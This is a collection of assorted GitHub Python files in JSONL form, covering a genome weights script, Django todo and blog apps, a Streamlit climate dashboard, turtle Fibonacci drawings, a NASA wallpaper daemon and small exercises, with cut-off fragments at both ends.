F.softmax(logits / temperature, dim=-1).mean(1)\n outputs.clamp_min_(EPS)\n else:\n raise NotImplementedError('Given rule is not implemented!')\n\n return outputs\n","repo_name":"wagner-group/demystify-random-transform","sub_path":"adv/wrappers/rand_wrapper.py","file_name":"rand_wrapper.py","file_ext":"py","file_size_in_byte":8172,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"9432098529","text":"import argparse\nimport json\nimport math\nimport re\nfrom collections import Counter, defaultdict\nfrom pathlib import Path\nfrom typing import Dict\n\nfrom Bio import SeqIO, SeqRecord\nfrom mizlab_tools import gbk_utils\nfrom tqdm import tqdm\n\n\ndef convert_freq_to_self_information(counter: Counter) -> Dict[str, float]:\n return convert_probabirity_to_self_information(\n convert_freq_to_probabirity(counter),\n )\n\n\ndef convert_freq_to_probabirity(freq: Dict[str, int]) -> Dict[str, float]:\n denominator = defaultdict(int)\n for k, v in counter.items():\n denominator[k[:2]] += v\n rst = {}\n for k, v in counter.items():\n rst[k] = v / denominator[k[:2]]\n return rst\n\n\ndef convert_probabirity_to_self_information(\n probabirity: Dict[str, float]\n) -> Dict[str, float]:\n return {k: -1 * math.log2(v) for k, v in probabirity.items()}\n\n\n# def calculate_weights(sequence: SeqRecord, n_split: int) -> Counter:\n# return Counter(gbk_utils.window_search(sequence, n_split))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Generate weights of each N sequence based on self information.\",\n )\n parser.add_argument(\n \"gbks\",\n nargs=\"*\",\n help=\"Genbank files that count frquencies. It use json, this will none\",\n )\n parser.add_argument(\n \"--n-split\",\n default=3,\n type=int,\n help=\"How many characters to split each sequence\",\n )\n parser.add_argument(\n \"--json\",\n nargs=1,\n help=\"Use json that written information\",\n )\n parser.add_argument(\n \"--gbk-root\",\n help=\"If use json, must be specify this\",\n )\n parser.add_argument(\n \"--split-taxon\",\n action=\"store_true\",\n help=\"Count based on taxon\",\n )\n parser.add_argument(\n \"--verbose\",\n \"-v\",\n action=\"store_false\",\n help=\"Show progress bar\",\n )\n parser.add_argument(\n \"--out\",\n \"-o\",\n required=True,\n help=\"Outout file(json)\",\n )\n args = parser.parse_args()\n\n rst = {}\n if len(args.gbks) > 0:\n counter = Counter()\n for filename in tqdm(args.gbks, disable=args.verbose):\n for record in SeqIO.parse(filename, \"genbank\"):\n counter += Counter(\n gbk_utils.window_search(\n re.sub(\"[^ATGCatgc]\", \"\", str(record.seq)),\n args.n_split,\n )\n )\n rst = convert_freq_to_self_information(counter)\n else:\n for filename in args.json:\n with open(filename) as f:\n information = json.load(f)\n if args.split_taxon:\n # make split like {\"Mammala\": {\"AAA\": 1.0, ...}}\n counter = defaultdict(Counter)\n for accession, taxon in tqdm(information.items(), disable=args.verbose):\n p = Path(args.gbk_root) / f\"{accession}.gbk\"\n for record in SeqIO.parse(p, \"genbank\"):\n counter[taxon] += Counter(\n gbk_utils.window_search(\n re.sub(\"[^ATGCatgc]\", \"\", str(record.seq)),\n args.n_split,\n )\n )\n rst = {k: convert_freq_to_self_information(v) for k, v in counter.items()}\n else:\n counter = Counter()\n for accession in tqdm(information.keys(), disable=args.verbose):\n p = Path(args.gbk_root) / f\"{accession}.gbk\"\n for record in SeqIO.parse(p, \"genbank\"):\n counter += Counter(\n gbk_utils.window_search(\n re.sub(\"[^ATGCatgc]\", \"\", str(record.seq)),\n args.n_split,\n )\n )\n rst = convert_freq_to_self_information(counter)\n\n with open(args.out, \"w\") as f:\n json.dump(rst, f)\n","repo_name":"Omochice/mtgenome-ml-classification","sub_path":"src/generate_weights.py","file_name":"generate_weights.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29799904270","text":"def basic_calculator(a, o, b):\n result = 0\n\n if o == \"+\":\n return a + b\n elif o == \"-\":\n return a - b\n elif o == \"/\":\n if b == 0:\n return None\n return a / b\n elif o == \"*\":\n return a * b\n else:\n return None\n return result\n\n\nwhile True:\n fst = input(\"Enter your 1st value: \")\n op = input(\"Enter your operator: \")\n snd = input(\"Enter your 2nd value: \")\n print(basic_calculator(int(fst), op, int(snd)))\n","repo_name":"IgorGarciaCosta/SomeExercises","sub_path":"pyFiles/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21161138746","text":"\"\"\"\nPlots a sample of the suffix array for each of six genome\n\"\"\"\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport numpy as np\nimport random\nimport math\nimport sys\nimport seaborn as sns\n\nofn = sys.argv[1]\n\nif ofn == 'gc.png':\n fns = ['suffixArraySim1.txt', 'suffixArraySim2.txt', 'suffixArraySim3.txt', 'suffixArraySim4.txt', 'suffixArraySim5.txt', 'suffixArraySim6.txt']\n names = ['Uniform Random', '60% GC-Content', '75% GC-Content', '90% GC-Content', '100% GC-Content', 'All C\\'s']\nelse:\n fns = ['suffixArraySim7.txt', 'suffixArraySim8.txt', 'suffixArraySim9.txt', 'suffixArraySim10.txt', 'suffixArraySim11.txt', 'suffixArraySim12.txt']\n names = ['CT Repeat', 'CAT Repeat', 'ACGT Repeat', 'ACTTCA Repeat', 'Length 16 Repeat', 'Length 50 Repeat']\n ofn = 'repeats.png'\n\nsns.set()\nfig, axs = plt.subplots(ncols=3, nrows=2, figsize=(28,14))\nplt.subplots_adjust(wspace=0.1, hspace=0.15)\nplt.suptitle('Suffix Array Distributions', fontsize=16, y = .94, fontweight='heavy')\nminys = []\nmaxys = []\nfor fileindex in range(0, len(fns)):\n fn = fns[fileindex]\n name = names[fileindex]\n xs = []\n ys = []\n with open(fn) as f:\n for line in f:\n tokens = line.split()\n xs.append(int(tokens[1]))\n ys.append(int(tokens[2]))\n minys.append(min(ys))\n maxys.append(max(ys))\n plot = sns.scatterplot(xs, ys, c = ['rebeccapurple' for i in range(0, len(xs))], ax = axs[fileindex/3][fileindex%3], linewidth=0)\n if fileindex / 3 == 1:\n plot.set_xlabel('k-mer', fontsize=14)\n if fileindex%3 == 0:\n plot.set_ylabel('Suffix Array Position', fontsize=14)\n plot.set_title(name, fontsize=16)\n #axs[fileindex/3][fileindex%3].set_yticklabels([])\n #axs[fileindex/3][fileindex%3].set_xticklabels([])\n axs[fileindex/3][fileindex%3].set_xlim(-.2e12, 5e12)\n #plt.clf()\n #plt.cla()\n #plt.close()\n\nfig.savefig(ofn)\n\n","repo_name":"mkirsche/sapling","sub_path":"eval/SuffixArraySim/plotSimSa.py","file_name":"plotSimSa.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"37"} +{"seq_id":"10982167920","text":"from datetime import datetime\n\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import Http404\n\nfrom .models import List, Task\nfrom .forms import ListForm, TaskForm\n\n\n# Create your views here.\ndef index(request):\n \"\"\"Домашняя страница\"\"\"\n return render(request, 'todo_app/index.html')\n\n\n@login_required\ndef lists(request):\n \"\"\"Страница со списком доступных списков дел\"\"\"\n users_lists = List.objects.filter(user=request.user).order_by('-date_opened')\n # расширенный список списков (добавилось количество невыполненных задач)\n extended_lists = []\n\n for list in users_lists:\n extended_lists.append({\n 'name': list.name,\n 'id': list.id,\n 'tasks_count': list.task_set.filter(complete=False).count(),\n })\n context = {'lists': extended_lists}\n\n return render(request, 'todo_app/lists.html', context)\n\n\n@login_required\ndef list(request, list_id):\n \"\"\"Страница списка дел\"\"\"\n list = List.objects.get(id=list_id)\n check_list_owner(request.user, list)\n\n list.date_opened = datetime.now()\n list.save()\n tasks = list.task_set.order_by('complete', '-date_add')\n uc_count = tasks.filter(complete=False).count()\n context = {'list': list, 'tasks': tasks, 'count': uc_count}\n\n return render(request, 'todo_app/list.html', context)\n\n\n@login_required\ndef task_info(request, task_id):\n \"\"\"Страница с подробной информацией о задаче\"\"\"\n task = Task.objects.get(id=task_id)\n list = task.list\n check_list_owner(request.user, list)\n context = {'list': list, 'task': task}\n\n return render(request, 'todo_app/task_info.html', context)\n\n\n@login_required\ndef add_list(request):\n \"\"\"Форма создания списка\"\"\"\n\n if request.method != 'POST':\n form = ListForm()\n else:\n form = ListForm(data=request.POST)\n if form.is_valid():\n new_list = form.save(commit=False)\n new_list.user = request.user\n new_list.save()\n\n return redirect('todo_app:lists')\n\n context = {'form': form}\n return render(request, 'todo_app/new_list.html', context)\n\n\n@login_required\ndef add_task(request, list_id):\n \"\"\"Форма создания задачи\"\"\"\n list = List.objects.get(id=list_id)\n check_list_owner(request.user, list)\n\n if request.method != 'POST':\n form = TaskForm()\n else:\n form = TaskForm(data=request.POST)\n if form.is_valid():\n new_task = form.save(commit=False)\n new_task.list = list\n new_task.save()\n\n return redirect('todo_app:list', list_id)\n\n context = {'list': list, 'form': form}\n return render(request, 'todo_app/new_task.html', context)\n\n\n@login_required\ndef edit_task(request, task_id):\n \"\"\"Форма для редактирования задачи\"\"\"\n task = Task.objects.get(id=task_id)\n list = task.list\n check_list_owner(request.user, list)\n\n if request.method != 'POST':\n form = TaskForm(instance=task)\n else:\n form = TaskForm(instance=task, data=request.POST)\n if form.is_valid():\n form.save()\n return redirect('todo_app:list', list.id)\n\n context = {'task': task, 'list': list, 'form': form}\n return render(request, 'todo_app/edit_task.html', context)\n\n\n@login_required\ndef delete_task(request, task_id):\n \"\"\"Удаление задачи\"\"\"\n task = Task.objects.get(id=task_id)\n list = task.list\n check_list_owner(request.user, list)\n\n task.delete()\n\n return redirect('todo_app:list', list.id)\n\n\n@login_required\ndef delete_list(request, list_id):\n \"\"\"Удаление списка\"\"\"\n list = List.objects.get(id=list_id)\n check_list_owner(request.user, list)\n\n list.delete()\n\n return redirect('todo_app:lists')\n\n\n@login_required\ndef sts_invert(request, task_id):\n \"\"\"Изменение статуса выполненности задачи\"\"\"\n task = Task.objects.get(id=task_id)\n list = task.list\n check_list_owner(request.user, list)\n\n # инвертирование значения\n task.complete = task.complete is not True\n task.save()\n\n return redirect('todo_app:list', list.id)\n\n\n@login_required\ndef delete_completed(request, list_id):\n \"\"\"Удаляет выполненные задачи\"\"\"\n list = List.objects.get(id=list_id)\n check_list_owner(request.user, list)\n\n list.task_set.filter(complete=True).delete()\n\n return redirect('todo_app:list', list_id)\n\n\ndef check_list_owner(user, list):\n \"\"\"Проверка на владение списком\"\"\"\n if list.user != user:\n raise Http404\n","repo_name":"DaKuz47/todo_django","sub_path":"todo_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39085499225","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport plotly.express as px\n\nst.set_page_config(layout=\"wide\")\n\n@st.cache\ndef load_data():\n return pd.read_csv('data/GlobalTemperatures.csv', parse_dates=['dt'])\n\ndf = load_data()\nyrwise = df.copy()\nyrwise['date'] = pd.to_datetime(yrwise.dt)\nyrwise['month'] = yrwise.date.dt.month_name() + yrwise.date.dt.year.agg(lambda x:' '+str(x))\nyrwise['year'] = yrwise.date.dt.year\nyrwise['century'] = yrwise.year.agg(lambda x:str((x//100)+1)+'th')\n\ndef home(title):\n st.title(\"Introduction\")\n\ndef page1(title):\n st.title(title)\n if st.sidebar.checkbox(\"show raw data?\"):\n x = st.sidebar.slider('Choose rows to display..', min_value=0,max_value=df.shape[0],value=10)\n st.write(df.head(x))\n st.header(\"Summary of Dataset\")\n st.write(df.describe())\n st.markdown(\"<hr>\", unsafe_allow_html=True)\n cols = st.beta_columns(2)\n cols[0].subheader(\"Rows of Dataset\")\n cols[0].write(df.shape[0])\n cols[1].subheader(\"Columns of Dataset\")\n cols[1].write(df.shape[1])\n st.markdown(\"<hr>\", unsafe_allow_html=True)\n for i in df.columns:\n st.subheader(i)\n divs = st.beta_columns(2)\n divs[0].write(f\"Data Type: {type(df[i].iloc[0])}\")\n divs[1].write(f\"Null Values: {sum(df[i].isna())}\")\n st.markdown(\"<hr>\", unsafe_allow_html=True)\n\ndef page2(title):\n data = yrwise.copy()\n data = data.groupby('year', as_index=False).agg({\n 'LandAverageTemperature': np.mean,\n 'LandMaxTemperature':max,\n 'LandMinTemperature':min,\n 'LandAndOceanAverageTemperature':np.mean}).reset_index()\n st.title(title)\n st.header(\"Average Temperature of Land throughout the years\")\n st.plotly_chart(px.line(data, 'year', 'LandAverageTemperature'))\n data = data.dropna()\n st.header(\"Maximum Temperature of Land throughout the years\")\n st.plotly_chart(px.line(data, 'year', 'LandMaxTemperature'))\n st.header(\"Minimum Temperature of Land throughout the years\")\n st.plotly_chart(px.line(data, 'year', 'LandMinTemperature'))\n st.header(\"Average Temperature of Land and Ocean throughout the years\")\n st.plotly_chart(px.line(data, 'year', 'LandAndOceanAverageTemperature'))\n\ndef page3(title):\n data = yrwise.copy()\n data = data.groupby('century', as_index=False).agg({\n 'LandAverageTemperature': np.mean,\n 'LandMaxTemperature':max,\n 'LandMinTemperature':min,\n 'LandAndOceanAverageTemperature':np.mean}).reset_index()\n st.title(title)\n st.header(\"Average Temperature of Land throughout the Centuries\")\n st.plotly_chart(px.bar(data, 'century', 'LandAverageTemperature'))\n data = data.dropna()\n st.header(\"Maximum Temperature of Land throughout the Centuries\")\n st.plotly_chart(px.bar(data, 'century', 'LandMaxTemperature'))\n st.header(\"Minimum Temperature of Land throughout the Centuries\")\n st.plotly_chart(px.bar(data, 'century', 'LandMinTemperature'))\n st.header(\"Average Temperature of Land and Ocean throughout the Centuries\")\n st.plotly_chart(px.bar(data, 'century', 'LandAndOceanAverageTemperature'))\n\ndef page4(title):\n st.title(title)\n data = yrwise.copy()\n data = data.dropna()\n st.subheader(\"Hottest Day in Recorded Data\")\n st.write(data[data.LandMaxTemperature == max(data.LandMaxTemperature)].date.iloc[0])\n st.subheader(\"Coldest Day in Recorded Data\")\n st.write(data[data.LandMinTemperature == min(data.LandMinTemperature)].date.iloc[0])\n month_data = data.groupby('month', as_index=False).agg({'LandMaxTemperature':max,'LandMinTemperature':min})\n st.subheader(\"Hottest Month in Recorded Data\")\n st.write(month_data[month_data.LandMaxTemperature == max(month_data.LandMaxTemperature)].month.iloc[0])\n st.subheader(\"Coldest Month in Recorded Data\")\n st.write(month_data[month_data.LandMinTemperature == min(month_data.LandMinTemperature)].month.iloc[0])\n year_data = data.groupby('year', as_index=False).agg({'LandMaxTemperature':max,'LandMinTemperature':min})\n st.subheader(\"Hottest Year in Recorded Data\")\n st.write(year_data[year_data.LandMaxTemperature == max(year_data.LandMaxTemperature)].year.iloc[0])\n st.subheader(\"Coldest Year in Recorded Data\")\n st.write(year_data[year_data.LandMinTemperature == min(year_data.LandMinTemperature)].year.iloc[0])\n st.subheader(\"Hottest Century in Recorded Data\")\n century_data = data.groupby('century', as_index=False).agg({'LandMaxTemperature':max,'LandMinTemperature':min})\n st.write(century_data[century_data.LandMaxTemperature == max(century_data.LandMaxTemperature)].century.iloc[0])\n st.subheader(\"Coldest Century in Recorded Data\")\n st.write(century_data[century_data.LandMinTemperature == min(century_data.LandMinTemperature)].century.iloc[0])\n\npages = {\n \"Introduction\": home,\n \"Information About Data\": page1,\n \"Climate Changes by Years\": page2,\n \"Climate Changes by Centuries\": page3,\n \"General Observations\": page4\n }\n\npage = st.sidebar.selectbox('Choose a page...',list(pages.keys()))\npages[page](page)\n","repo_name":"infinityAJ/Climate_change_analysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28021755032","text":"# Mr. Scrooge has a sum of money 'P' that wants to invest, and he wants to know how many years 'Y' \n# this sum has to be kept in the bank in order for this sum of money to amount to 'D'.\n# The sum is kept for 'Y' years in the bank where interest 'I' is paid yearly, \n# and the new sum is re-invested yearly after paying tax 'T'\n# Thus Mr. Scrooge has to wait for 3 years for the initial pricipal to ammount to the desired sum.\n# Your task is to complete the method provided and return the number of years 'Y' as a whole in order \n# for Mr. Scrooge to get the desired sum.\n\ndef calculate_years(principal, interest, tax, desired):\n years = 0\n result = principal\n while result < desired:\n years += 1\n result_after = result * interest\n result_after -= result_after * tax\n result += result_after\n return years\n","repo_name":"Woodforfood/learn_how_to_code","sub_path":"Codewars/7kyu/Money_Money_Money.py","file_name":"Money_Money_Money.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7504366511","text":"from django.urls import path\n\nfrom . import views\nfrom rest_framework_simplejwt import views as jwt_views\n\n\nurlpatterns = [\n\n # API Routes\n path(\"register/\", views.register, name=\"register\"),\n path(\"emails/compose/\", views.compose, name=\"compose\"),\n path(\"emails/edit/<int:email_id>\", views.email, name=\"email\"),\n path(\"emails/get/<int:email_id>\", views.email, name=\"email\"),\n path(\"emails/delete/<int:email_id>\",\n views.delete_email, name=\"delete_email\"),\n path(\"emails/<str:mailbox>/\", views.mailbox, name=\"mailbox\"),\n\n # Token Routes\n path('token/', views.MyTokenObtainPairView.as_view(),\n name='token_obtain_pair'),\n path('token/refresh/', jwt_views.TokenRefreshView.as_view(),\n name='token_refresh'),\n]\n","repo_name":"IB21-A/mail-react","sub_path":"mail/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7981249809","text":"from django.conf.urls.defaults import *\n\n\nurlpatterns = patterns('basic.blog.views',\n url(r'^(?P<year>\\d{4})/(?P<month>\\w{3})/(?P<day>\\d{1,2})/(?P<slug>[-\\w]+)/$',\n view='post_detail',\n name='blog_detail'\n ),\n url(r'^(?P<year>\\d{4})/(?P<month>\\w{3})/(?P<day>\\d{1,2})/$',\n view='post_archive_day',\n name='blog_archive_day'\n ),\n url(r'^(?P<year>\\d{4})/(?P<month>\\w{3})/$',\n view='post_archive_month',\n name='blog_archive_month'\n ),\n url(r'^(?P<year>\\d{4})/$',\n view='post_archive_year',\n name='blog_archive_year'\n ),\n url(r'^categories/(?P<slug>[-\\w]+)/$',\n view='category_detail',\n name='blog_category_detail'\n ),\n url (r'^categories/$',\n view='category_list',\n name='blog_category_list'\n ),\n url(r'^tags/(?P<slug>[-\\w]+)/$',\n view='tag_detail',\n name='blog_tag_detail'\n ),\n url (r'^search/$',\n view='search',\n name='blog_search'\n ),\n url(r'^page/(?P<page>\\d+)/$',\n view='post_list',\n name='blog_index_paginated'\n ),\n url(r'^$',\n view='post_list',\n name='blog_index'\n ),\n)\n","repo_name":"nathanborror/django-basic-apps","sub_path":"basic/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":1329,"dataset":"github-code","pt":"37"} +{"seq_id":"40659011940","text":"\"\"\"\nNASA APOD Wallpaper\n-------------------\n\nThis program is used to demonstrate how to use `autowallpaper` to make your own.\nSource of images : NASA Astronomy Photo Of The Day (https://apod.nasa.gov/apod/astropix.html).\n\"\"\"\n\nimport argparse\nfrom json import loads\nfrom os import path\n\nfrom requests import get\n\nfrom autowallpaper import AutoWallpaper\n\nparser = argparse.ArgumentParser(\n description=\"Changes wallpaper daily to NASA's APOD.\"\n)\n\nparser.add_argument(\n \"action\",\n help=\"starts, stops, or restarts daemon\",\n choices=[\"start\", \"stop\", \"restart\"]\n)\nparser.add_argument(\n \"-k\", \"--api_key\",\n help=\"NASA API key OR file that contains NASA API key\"\n)\nparser.add_argument(\n \"-p\", \"--pidfile\",\n nargs=\"?\", default='/tmp/autowallpaper.pid',\n help=\"path where the PID is to be stored, default is '/tmp/autowallpaper.pid'\"\n)\nparser.add_argument(\n \"-i\", \"--image_dir\",\n nargs=\"?\", default='/tmp/',\n help=\"path where the image is to be stored, default is '/tmp/'\"\n)\nparser.add_argument(\n \"-o\", \"--output_file\",\n nargs=\"?\", default='/tmp/autowallpaper.out',\n help=\"path where code outputs are stored, default is '/tmp/autowallpaper.out'\"\n)\nparser.add_argument(\n \"-l\", \"--log_file\",\n nargs=\"?\", default='/tmp/autowallpaper.log',\n help=\"path where stuff can be logged, default is '/tmp/autowallpaper.log'\"\n)\nparser.add_argument(\n \"-e\", \"--error_file\",\n nargs=\"?\", default='/tmp/autowallpaper.err',\n help=\"path where code errors are logged, default is '/tmp/autowallpaper.err'\"\n)\nparser.add_argument(\n \"-x\", \"--explanations\",\n nargs=\"?\", default=False,\n help=\"to log explanations in the log file, default is '/tmp/autowallpaper.out'\"\n)\n\n\n# ---------\n# EXCEPTION\n# ---------\nclass APIKeyException(Exception):\n \"\"\"\n Handles issues with API key\n \"\"\"\n\n# -----------------------\n# IMAGE SOURCING FUNCTION\n# -----------------------\ndef source_image(api_key: str, explanations: bool = False) -> str:\n \"\"\"\n Fetches the URL of the latest image\n\n Parameter\n ---------\n api_key : str\n Path the the file containining the API key.\n explanations: bool, optional\n Boolean to check whether the title and explanation of the image\n must be logged or not.\n Default is `False`.\n \"\"\"\n\n if path.isfile(api_key):\n with open(api_key, \"r\") as keyfile:\n api_key = keyfile.read().strip()\n\n if not api_key:\n raise APIKeyException(\"Please provide a valid NASA API key [https://api.nasa.gov].\")\n\n status_code = 500\n while status_code != 200:\n apod_page = get(\"https://api.nasa.gov/planetary/apod?api_key=\" + api_key)\n status_code = apod_page.status_code\n if status_code in [401, 403]:\n raise APIKeyException(\"Invalid NASA API key. Generate new key at https://api.nasa.gov.\")\n\n apod_page = loads(apod_page.content.decode('utf-8'))\n if explanations:\n print(f\"[{apod_page['date']}] - {apod_page['title']}\")\n print(apod_page['explanation'])\n return apod_page['hdurl']\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n autowallpaper = AutoWallpaper(\n source_function=source_image,\n pidfile=args.pidfile,\n image_dir=args.image_dir,\n output_file=args.output_file,\n error_file=args.error_file\n )\n\n if args.action == \"start\":\n autowallpaper.start(args.api_key, args.explanations)\n\n if args.action == \"stop\":\n autowallpaper.stop()\n\n if args.action == \"restart\":\n autowallpaper.restart(args.api_key, args.explanations)\n","repo_name":"nachokelkar/autowallpaper","sub_path":"demo/nasa_wallpaper.py","file_name":"nasa_wallpaper.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28449497310","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 19 22:16:00 2022\r\n\r\n@author: shykul\r\n\"\"\"\r\n#Method-01\r\n\r\n# import library\r\nimport turtle\r\nimport math\r\n\r\n# setup Turtle\r\nwn = turtle.Screen()\r\nwn.setup(1000,800)\r\nmyTurtle = turtle.Turtle() # set turtle to x = 0 and y = 0 on screen\r\nmyTurtle.pensize(3)\r\n\r\n\r\ndef main(): # this function calculate the value of fib and sends the results to the draw function\r\n valueOne = 0\r\n valueTwo = 1\r\n fib = 1\r\n for i in range(8): # number of squares to draw\r\n myTurtle.right(90) # point turtle to down position\r\n drawSq(fib*20) # call drawSq function- argument = length of sides\r\n fib = valueOne + valueTwo # calculate the value of Fibonacci\r\n valueOne = valueTwo\r\n valueTwo = fib\r\n \r\n# this function draws the Fibonacci square\r\ndef drawSq(sides):\r\n for n in range(6): # the value 6 ensures that the start of the next square is correct\r\n myTurtle.forward(sides) # draw the sides of the squares\r\n myTurtle.left(90) # turn pointer left 90 degrees\r\n\r\n\r\ndef sprial():\r\n r = 20 # draws to size of the radius\r\n angle = 90\r\n myTurtle.right(90) # turn turtle to down position\r\n myTurtle.penup()\r\n myTurtle.setpos(0,0) # move turtle to starting point of first square\r\n myTurtle.pendown()\r\n # draw fibonacci spiral\r\n arc(20, angle) # call arc function 1 * 20 = 20\r\n arc(20, angle) # call arc function 1 * 20 = 20\r\n arc(40, angle) # call arc function 2 * 20 = 40\r\n arc(60, angle) # call arc function 3 * 20 = 60\r\n arc(100, angle) # call arc function 5 * 20 = 100\r\n arc(160,angle) # call arc function 8 * 20 = 160\r\n arc(260,angle) # call arc function 13 * 20 = 260\r\n arc(420,angle) # call arc function 21 * 20 = 420\r\n\r\n\r\ndef arcLine(n, length, angle): # Draws n line segments.\r\n for i in range(n):\r\n myTurtle.forward(length)\r\n myTurtle.left(angle)\r\n\r\n\r\ndef arc(r, angle): # Draws an arc with the given radius and angle\r\n arc_length = 2 * math.pi * r * abs(angle) / 360\r\n n = int(arc_length / 4) + 1\r\n step_length = arc_length / n\r\n step_angle = float(angle) / n\r\n # Before starting making a slight left turn.\r\n myTurtle.left(step_angle/2)\r\n arcLine(n, step_length, step_angle)\r\n myTurtle.right(step_angle/2)\r\n\r\n\r\n# main program loop\r\nmain() # calls the main function which draws the boxes\r\nsprial() # calls the spiral function which draws the sprial\r\nwn.exitonclick() # click on the screen to exit the program\r\n\r\n#Method-02\r\nimport turtle as tur\r\nimport time\r\n\r\n\r\nclass Fibonacci:\r\n def __init__(self, max_width):\r\n self.list = [0, 1]\r\n while self.list[len(self.list)-1] < max_width:\r\n self.i = self.list[len(self.list)-1] + self.list[len(self.list)-2]\r\n self.list.append(self.i)\r\n\r\n def main(self, x, y, square_colour, arc_colour):\r\n self.square(square_colour, x, y)\r\n self.arc(arc_colour, x, y)\r\n\r\n def square(self, colour, x, y):\r\n tur.pu()\r\n tur.goto(x, y)\r\n tur.seth(270)\r\n tur.color(colour)\r\n tur.pd()\r\n tur.width(3)\r\n tur.speed(5)\r\n for i in self.list:\r\n for j in range(5):\r\n tur.forward(i)\r\n tur.right(90)\r\n tur.forward(i)\r\n\r\n def arc(self, colour, x, y):\r\n tur.pu()\r\n tur.goto(x, y)\r\n tur.seth(90)\r\n tur.color(colour)\r\n tur.pd()\r\n tur.width(2)\r\n tur.speed(1)\r\n for i in self.list:\r\n tur.circle(-i, 90)\r\n\r\n\r\nx = -232\r\ny = -143\r\nwhile True:\r\n tur.bgcolor(\"white\")\r\n tur.ht()\r\n fibonacci = Fibonacci(500).main(x, y, \"black\", \"black\")\r\n time.sleep(10)\r\n tur.reset()\r\ntur.done()","repo_name":"shykulislamsiam/Python-Programming-Part-01","sub_path":"exercise -chapter-10-math-2.py","file_name":"exercise -chapter-10-math-2.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25220878676","text":"print (\"\\n\\n### Task 1 ###\\n\\n\")\n# [ ] create a list of 4 to 6 strings: birds\n# print each bird in the list\nbirds = [\"tucan\",\"eagle\",\"bluebird\",\"bird\"]\nfor bird in birds:\n print(bird)\n\n# [ ] create a list of 7 integers: player_points\n# [ ] print double the points for each point value\nlist = [45,53,62,41,88,34,67]\nfor points in list:\n print(points*2)\n\n# [ ] create long_string by concatenating the items in the \"birds\" list previously created\n# print long_string - make sure to put a space betweeen the bird names\nbirds = [\"tucan\",\"eagle\",\"bluebird\",\"bird\"] \nlong_string = \"\"\nfor bird in birds:\n long_string = long_string + \" \" + bird\n \nprint(long_string)\n\n\nprint (\"\\n\\n### Task 2 ###\\n\\n\")\n# [ ] Using cities from the example above iterate throught the list using \"for\"/\"in\"\n# [ ] Print only cities starting with \"m\"\ncities = [\"New York\", \"Shanghai\", \"Munich\", \"Tokyo\", \"Dubai\", \"Mexico City\", \"São Paulo\", \"Hyderabad\"]\nfor city in cities:\n #print(city[0].lower())\n if city[0].lower() == \"m\":\n print(city)\n\n# [ ] Using cities from the example above iterate throught the list using \"for\"/\"in\"\n# cities = [\"New York\", \"Shanghai\", \"Munich\", \"Tokyo\", \"Dubai\", \"Mexico City\", \"São Paulo\", \"Hyderabad\"]\n# [ ] sort into lists with \"A\" in the city name and without \"A\" in the name: a_city & no_a_city\ncities = [\"New York\", \"Shanghai\", \"Munich\", \"Tokyo\", \"Dubai\", \"Mexico City\", \"São Paulo\", \"Hyderabad\"]\na_city = []\nno_a_city = []\nnon_a_city = cities\nfor city in cities:\n for city_letters in city:\n if city_letters.lower() == \"a\":\n a_city.append(city)\n non_a_city.remove(city)\n break\n\nprint(\"Cities with 'a':\",a_city)\nprint(\"Cities without 'a':\",non_a_city)\n\n\nprint (\"\\n\\n### Task 3 ###\\n\\n\")\n# [ ] complete paint stock\npaint_colors = [\"red\",\"blue\",\"yellow\",\"magenta\",\"brown\",\"white\"]\ncolor_request = input(\"Search for a color: \")\n\nfor color in paint_colors:\n if color == color_request:\n print(\"Color found...\")\n else:\n print(\"Color Not found...\")\n\nprint (\"\\n\\n### Task 4 ###\\n\\n\")\n\ndef footbone(string,list):\n \n for foot_bone in list:\n if foot_bone == string:\n list.remove(string)\n return print(\"Foot bone is correct..\")\n\n return print(\"Foot bone is incorrect..\")\n\nfoot_bones = [\"calcaneus\", \"talus\", \"cuboid\", \"navicular\", \"lateral cuneiform\", \"intermediate cuneiform\", \"medial cuneiform\"]\n\nfoot_bone_input1 = input(\"\\nWhich Foot Bone 1? \")\nfootbone(foot_bone_input1.lower(),foot_bones)\n\n\nfoot_bone_input2 = input(\"\\nWhich Foot Bone 2? \")\nfootbone(foot_bone_input2.lower(),foot_bones)\n\n","repo_name":"daniel2483/PythonProjects","sub_path":"Exercises_from_EDX/exercises_mod3_1.py","file_name":"exercises_mod3_1.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18801895857","text":"import time\nfrom socket import *\nimport numpy as np\n\n# Create a UDP socket\n# Notice the use of 